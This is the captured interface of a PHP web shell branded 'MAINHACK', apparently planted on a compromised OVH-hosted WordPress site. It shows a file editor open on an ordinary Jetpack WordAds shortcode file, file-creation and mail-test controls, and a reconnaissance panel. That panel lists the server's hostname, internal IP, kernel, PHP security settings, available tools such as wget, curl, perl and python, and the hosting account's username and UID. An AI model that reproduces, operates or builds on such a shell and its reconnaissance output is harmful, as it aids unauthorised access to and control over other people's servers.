[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: wordads.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName /** * Wordads shortcode. * * Examples: * [wordads] * * @package automattic/jetpack */ /** * Embed WordAds 'ad' in post */ class Jetpack_WordAds_Shortcode { /** * Used to determine whether scripts and styles have been enqueued already. * * @var bool false Should we enqueue scripts and styles. */ private $scripts_and_style_included = false; /** * Initialize. */ public function __construct() { add_action( 'init', array( $this, 'action_init' ) ); } /** * Register our shortcode and enqueue necessary files. */ public function action_init() { global $wordads; if ( empty( $wordads ) ) { return null; } add_shortcode( 'wordads', array( $this, 'wordads_shortcode' ) ); } /** * Our [wordads] shortcode. * Prints a WordAds Ad. * * @param array $atts Array of shortcode attributes. * @param string $content Post content. * * @return string HTML for WordAds shortcode. */ public static function wordads_shortcode( $atts, $content = '' ) { $atts = shortcode_atts( array(), $atts, 'wordads' ); return self::wordads_shortcode_html( $atts, $content ); } /** * The shortcode output * * @param array $atts Array of shortcode attributes. * @param string $content Post content. * * @return string HTML output */ private static function wordads_shortcode_html( $atts, $content = '' ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable global $wordads; if ( empty( $wordads ) ) { return '<div>' . __( 'The WordAds module is not active', 'jetpack' ) . '</div>'; } $html = '<div class="jetpack-wordad" itemscope itemtype="https://schema.org/WPAdBlock"></div>'; $html = $wordads->insert_inline_ad( $html ); return $html; } } new Jetpack_WordAds_Shortcode();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129